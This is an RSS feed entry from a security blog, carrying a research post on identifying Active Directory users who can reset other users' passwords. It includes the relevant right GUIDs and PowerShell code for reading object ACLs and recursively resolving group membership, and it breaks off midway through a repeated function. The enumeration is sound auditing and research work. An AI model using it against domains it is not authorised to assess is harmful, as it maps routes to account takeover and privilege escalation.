<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="https://blog.hophouse.fr/rss.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <atom:link href="https://blog.hophouse.fr/rss.xml" rel="self" type="application/rss+xml"/>
    <title></title>
    <link>https://blog.hophouse.fr/</link>
    <description></description>
    <language>en-US</language>
    <pubDate>Fri, 07 Feb 2025 15:08:05 GMT</pubDate>
    <lastBuildDate>Fri, 07 Feb 2025 15:08:05 GMT</lastBuildDate>
    <generator>@vuepress/plugin-feed</generator>
    <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
    <category>Research</category>
    <category>Exploit</category>
    <category>IAC</category>
    <category>Tools</category>
    <category>Write-Up</category>
    <item>
      <title>Find domain users allowed to reset other user’s password</title>
      <link>https://blog.hophouse.fr/posts/CheckResetPasswordRights.html</link>
      <guid>https://blog.hophouse.fr/posts/CheckResetPasswordRights.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Find domain users allowed to reset other user’s password</source>
      <description>A question haunted me for a while and I wanted to have an answer to : &amp;quot;How can I determine if an arbitrary user has the right to reset someone else password ?&amp;quot;. Initial research...</description>
      <category>Research</category>
      <pubDate>Fri, 28 Aug 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<p>A question haunted me for a while and I wanted to have an answer to : "How can I determine if an arbitrary user has the right to reset someone else password ?".</p>
<h2>Initial research</h2>
<p>Firstly, I tracked the kinds of rights available for an Active Directory object. I checked it for a user.</p>
<figure><figcaption>user_attributes</figcaption></figure>
<p>I decided to focus on the ’Reset Password’ right.</p>
<p><strong>Why the "Reset Password" right and not ’Change Password’ ?</strong></p>
<p>With the <code>Change Password</code> right, it is possible to change a user’s password but the current password will be needed. With the ’Reset Password’ right, it is possible to reset the password without knowing the current one.</p>
<p>Another interesting right that would allow a user to reset someone else password is the <code>Generic All</code> right.</p>
<p>After few research, the GUID related to the right <code>Reset Password</code> was found to be : <code>00299570-246d-11d0-a768-00aa006e0529</code>. The GUID related to the <code>Generic All</code> right was found to be : <code>00000000-0000-0000-0000-000000000000</code>.</p>
<h2>Query ACL objects</h2>
<p>In order to query domain object for related ACL, the domain needs to be mounted as a drive. In fact, users are objects that acts like a file and have ACL.</p>
<p>The AD was mounted like so :</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"># Mount the AD as drive in order to get ACL on its objects</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "[+] Mount AD drive"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">New-PSDrive</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Name AD </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">PSProvider ActiveDirectory </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Root </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"//RootDSE/"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Out-Null</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>ACL can then be queried like so :</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">Get-Acl</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "AD:\CN=TEST,OU=Users,DC=Lab,DC=LOCAL"</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h2>Query users and groups membership</h2>
<p>User objects and related information can be retrieved like so :</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">Get-ADUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Identity </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$User</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Group where the user belongs to also need to be retrieved. It can be done like so :</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">Get-ADUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Identity </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$User</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Properties MemberOf).MemberOf</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Often groups belong to another group and so on. So it is interesting to recursively get all the groups where a group belongs to.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">function</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> Get-ADAllUserGroupMembership</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    &lt;#</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">SYNOPSIS</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Recursively retrieve all the groups where a specified group belongs to.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">EXAMPLE</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    PS&gt; Get-ADAllUserGroupMembership -Server 10.10.10.10 -GroupName custom_admin</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> Server</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Domain Controller where to run commands.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> GroupName</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Group where the function will dig.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    #&gt;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">CmdletBinding</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    param</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">$True</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">ValidateNotNullOrEmpty</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">string</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">$True</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">ValidateNotNullOrEmpty</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">string</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    )</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $GroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $GroupObject</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Get-ADGroup</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Identity </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupName</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Properties MemberOf</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">objectSid</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> +=</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GroupObject</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $GroupMemberObject</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupObject</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).MemberOf</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupMemberObject.count</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GroupMembership</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$grp</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GroupMemberObject</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> +=</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Get-ADAllUserGroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">GroupName </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$grp</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Sort-Object</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Unique</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Script</h2>
<p>I compiled all this information to create a script that will find all the users where a specific user has the right to reset their password.
I added multiple options to put multiple file as input. The script is also working on a non-domain joined machines.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">function</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> Get-ADAllUserGroupMembership</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    &lt;#</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">SYNOPSIS</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Recursively retrieve all the groups where a specified group belongs to.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">EXAMPLE</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    PS&gt; Get-ADAllUserGroupMembership -Server 10.10.10.10 -GroupName custom_admin</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> Server</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Domain Controller where to run commands.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> GroupName</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Group where the function will dig.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    #&gt;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">CmdletBinding</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    param</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">$True</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">ValidateNotNullOrEmpty</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">string</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">$True</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">ValidateNotNullOrEmpty</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">string</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    )</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $GroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $GroupObject</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Get-ADGroup</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Identity </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupName</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Properties MemberOf</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">objectSid</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> +=</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GroupObject</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $GroupMemberObject</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupObject</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).MemberOf</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupMemberObject.count</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GroupMembership</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$grp</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GroupMemberObject</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$GroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> +=</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Get-ADAllUserGroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">GroupName </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$grp</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
